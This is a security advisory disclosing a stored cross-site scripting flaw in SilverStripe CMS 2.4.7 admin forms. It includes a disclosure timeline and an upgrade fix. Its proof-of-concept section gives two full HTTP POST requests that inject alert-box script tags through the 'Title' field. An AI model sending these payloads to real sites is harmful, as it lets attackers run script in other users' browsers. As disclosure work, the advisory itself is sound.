SilverStripe CMS 2.4.7 <= Persistent Cross Site Scripting Vulnerability

By YGN Ethical Hacker Group -
1. OVERVIEW

SilverStripe 2.4.7 and lower versions are vulnerable to Persistent
Cross Site Scripting.


2. BACKGROUND

SilverStripe CMS is easy for both developers and content authors to
work with. The SilverStripe Framework keeps the code tucked away
neatly so that it can be accessed easily by programmers but does not
get in the way of content authors.


3. VULNERABILITY DESCRIPTION

The "Title" parameter was not properly sanitized upon submission to
"/index.php/admin/security/EditForm/field/Roles/AddForm" and
"/index.php/admin/RootForm" urls, which allows attacker to conduct
Cross Site Scripting attack. This may allow an attacker to create a
specially crafted URL that would execute arbitrary script code in a
victim's browser.


4. VERSIONS AFFECTED

Tested on 2.4.7


5. PROOF-OF-CONCEPT/EXPLOIT

////////////////////////////////////////
POST /index.php/admin/security/EditForm/field/Roles/AddForm?SecurityID=[ID]
HTTP/1.1
Host: localhost
Referer: http://localhost/index.php/admin/security/EditForm/field/Roles/add?SecurityID=[ID]
Cookie: PHPSESSID=1e4ea938f83b04bc826231987cedc050;
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

Title=%27%22%3E%3Cscript%3Ealert%28%2Fxss%2F%29%3C%2Fscript%3E&ctf%5BClassName%5D=PermissionRole&SecurityID=[ID]&action_saveComplexTableField=Save


POST /index.php/admin/RootForm HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
X-Requested-With: XMLHttpRequest
X-Prototype-Version: 1.4.0_rc3
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Referer: http://localhost/index.php/admin/
Content-Length: 256
Cookie: PHPSESSID=25c8f4060c398d05732fe494eb3ad4f1;
Pragma: no-cache
Cache-Control: no-cache

Title='%22%3E%3Cscript%3Ealert(%2Fxss1%2F)%3C%2Fscript%3E&Tagline=test&CanViewType=Anyone&ViewerGroups=&CanEditType=LoggedInUsers&EditorGroups=&CanCreateTopLevelType=LoggedInUsers&CreateTopLevelGroups=&SecurityID=[ID]&Theme=&ajax=0&action_save_siteconfig=1
////////////////////////////////////////


6. SOLUTION

Upgrade to the latest 3.x version.


7. VENDOR

SilverStripe Development Team
http://www.silverstripe.org/


8. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN
Ethical Hacker Group, Myanmar.


9. DISCLOSURE TIME-LINE

2012-02-06: notified vendor
2012-10-15: vulnerability disclosed


10. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/%5BSilverStripe_2.4.7%5D_xss


#yehg [2012-10-15]

---------------------------------
Best regards,
YGN Ethical Hacker Group
Yangon, Myanmar
http://yehg.net
Our Lab | http://yehg.net/lab
Our Directory | http://yehg.net/hwd

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